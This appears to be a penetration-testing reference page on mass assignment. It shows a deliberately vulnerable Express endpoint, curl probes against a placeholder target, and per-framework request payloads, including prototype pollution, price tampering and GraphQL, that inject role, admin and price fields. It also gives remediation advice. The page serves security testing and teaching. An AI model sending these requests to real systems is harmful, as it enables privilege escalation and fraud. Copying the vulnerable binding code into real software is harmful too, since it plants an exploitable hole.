Exploitation A04| Insecure Design A01| Broken Access Control
Mass Assignment
Mass assignment (also called autobinding or object injection) occurs when an application automatically binds HTTP request parameters to internal model properties. By adding extra fields to a request, attackers can modify properties not intended to be user-editable — such as role, isAdmin, price, or balance.
Danger
Mass assignment attacks are extremely common in modern frameworks (Rails, Django, Laravel, Spring, Express).
The vulnerability is in the application logic, not the framework itself.
How Mass Assignment Works
Vulnerable Code Example (Node.js/Express)
The application updates the user model by spreading all request body fields directly:
javascript
// Vulnerable Express.js endpoint
app.put('/api/user/profile', (req, res) => {
// DANGEROUS: Binds ALL request fields to the user object
User.findByIdAndUpdate(req.user.id, req.body, { new: true })
.then(user => res.json(user));
});
// Normal request:
PUT /api/user/profile
{"name": "John", "email": "john@example.com"}
// Attack request — adding unauthorized fields:
PUT /api/user/profile
{"name": "John", "email": "john@example.com", "role": "admin", "isVerified": true}// Vulnerable Express.js endpoint
app.put('/api/user/profile', (req, res) => {
// DANGEROUS: Binds ALL request fields to the user object
User.findByIdAndUpdate(req.user.id, req.body, { new: true })
.then(user => res.json(user));
});
// Normal request:
PUT /api/user/profile
{"name": "John", "email": "john@example.com"}
// Attack request — adding unauthorized fields:
PUT /api/user/profile
{"name": "John", "email": "john@example.com", "role": "admin", "isVerified": true}Discovery Techniques
bash
# Step 1: Find hidden fields by reading responses
# Make a GET request and note all returned fields:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .
# Response:
# {
# "id": 123,
# "name": "John",
# "email": "john@example.com",
# "role": "user", ← interesting!
# "isAdmin": false, ← interesting!
# "balance": 100, ← interesting!
# "verified": true
# }
# Step 2: Try adding these fields to an update request:
curl -X PUT https://target.com/api/user/profile \
-H 'Authorization: Bearer TOKEN' \
-H 'Content-Type: application/json' \
-d '{"name": "John", "role": "admin"}'
# Step 3: Check if the field was modified:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .role
# If output is "admin" → mass assignment confirmed!
# Step 4: Try common privileged fields:
# role, isAdmin, is_admin, admin, privilege, permissions
# verified, email_verified, is_verified, active
# balance, credits, price, discount
# password, password_hash (in some frameworks)
# created_at, updated_at (timestamp manipulation)# Step 1: Find hidden fields by reading responses
# Make a GET request and note all returned fields:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .
# Response:
# {
# "id": 123,
# "name": "John",
# "email": "john@example.com",
# "role": "user", ← interesting!
# "isAdmin": false, ← interesting!
# "balance": 100, ← interesting!
# "verified": true
# }
# Step 2: Try adding these fields to an update request:
curl -X PUT https://target.com/api/user/profile \
-H 'Authorization: Bearer TOKEN' \
-H 'Content-Type: application/json' \
-d '{"name": "John", "role": "admin"}'
# Step 3: Check if the field was modified:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .role
# If output is "admin" → mass assignment confirmed!
# Step 4: Try common privileged fields:
# role, isAdmin, is_admin, admin, privilege, permissions
# verified, email_verified, is_verified, active
# balance, credits, price, discount
# password, password_hash (in some frameworks)
# created_at, updated_at (timestamp manipulation)Framework-Specific Attacks
bash
# Ruby on Rails:
# Look for params.permit() to see what's allowed
# Try adding fields not in the permit list:
POST /users
user[name]=John&user[email]=john@test.com&user[admin]=true
# Django (Python):
# If using ModelForm without Meta.fields or exclude:
POST /register/
username=john&email=john@test.com&is_staff=true&is_superuser=true
# Laravel (PHP):
# If the model has $guarded = [] (empty guard):
POST /api/user
{"name": "John", "is_admin": 1}
# Spring Boot (Java):
# If using @ModelAttribute without @InitBinder whitelist:
POST /user/update
name=John&email=john@test.com&roles=ADMIN
# ASP.NET:
# If using [Bind] without Include/Exclude:
POST /User/Edit
Name=John&Email=john@test.com&IsAdmin=true# Ruby on Rails:
# Look for params.permit() to see what's allowed
# Try adding fields not in the permit list:
POST /users
user[name]=John&user[email]=john@test.com&user[admin]=true
# Django (Python):
# If using ModelForm without Meta.fields or exclude:
POST /register/
username=john&email=john@test.com&is_staff=true&is_superuser=true
# Laravel (PHP):
# If the model has $guarded = [] (empty guard):
POST /api/user
{"name": "John", "is_admin": 1}
# Spring Boot (Java):
# If using @ModelAttribute without @InitBinder whitelist:
POST /user/update
name=John&email=john@test.com&roles=ADMIN
# ASP.NET:
# If using [Bind] without Include/Exclude:
POST /User/Edit
Name=John&Email=john@test.com&IsAdmin=trueAdvanced Scenarios
bash
# Nested object injection:
PUT /api/user/profile
{
"name": "John",
"address": {
"street": "123 Main St",
"__proto__": {"isAdmin": true}
}
}
# Array manipulation:
POST /api/order
{
"items": [{"id": 1, "quantity": 1, "price": 0.01}]
}
# Override server-side price with client-supplied price
# Registration with role assignment:
POST /api/register
{
"username": "attacker",
"password": "password123",
"email": "attacker@test.com",
"role_id": 1,
"group_id": 1
}
# GraphQL mass assignment:
mutation {
updateUser(input: {
name: "John"
role: "ADMIN"
verified: true
}) {
id
name
role
}
}# Nested object injection:
PUT /api/user/profile
{
"name": "John",
"address": {
"street": "123 Main St",
"__proto__": {"isAdmin": true}
}
}
# Array manipulation:
POST /api/order
{
"items": [{"id": 1, "quantity": 1, "price": 0.01}]
}
# Override server-side price with client-supplied price
# Registration with role assignment:
POST /api/register
{
"username": "attacker",
"password": "password123",
"email": "attacker@test.com",
"role_id": 1,
"group_id": 1
}
# GraphQL mass assignment:
mutation {
updateUser(input: {
name: "John"
role: "ADMIN"
verified: true
}) {
id
name
role
}
}Testing Checklist
- 1. Read API responses to discover all model fields (especially role, admin, balance, verified)
- 2. Check API documentation (Swagger/OpenAPI) for model schemas with editable vs read-only fields
- 3. Add extra fields to update/create requests and check if they persist
- 4. Test registration endpoints for role/privilege escalation
- 5. Test nested objects and array parameters
- 6. Check if GraphQL mutations accept unauthorized fields
- 7. Compare user-role vs admin-role responses to identify hidden fields
Evidence Collection
Before: GET response showing original field values (role: user, isAdmin: false)
Attack Request: PUT/POST request with injected fields
After: GET response showing modified field values (role: admin, isAdmin: true)
CVSS Range: Privilege escalation: 8.1–9.8 | Price manipulation: 6.5–8.6
Remediation
- Allowlist fields: Explicitly define which fields can be set by user input (Rails:
params.permit(:name, :email)). - Use DTOs: Map requests to Data Transfer Objects with only user-editable fields, never bind directly to database models.
- Read-only decorators: Mark sensitive fields as read-only in the model/schema.
- Validate on the server: Never trust client-side field restrictions — always enforce on the backend.
False Positive Identification
- Parameter accepted but not stored: The API accepting extra fields in the request doesn't mean they're persisted — verify by fetching the resource and checking if the injected field was saved.
- Intended bulk update: Some APIs allow setting multiple fields intentionally (e.g., PATCH with partial updates) — focus on fields that should be restricted (role, admin, verified).
- Default values vs. injection: A field returning a default value (e.g., role=user) may not mean your injection worked — test with a non-default value to confirm.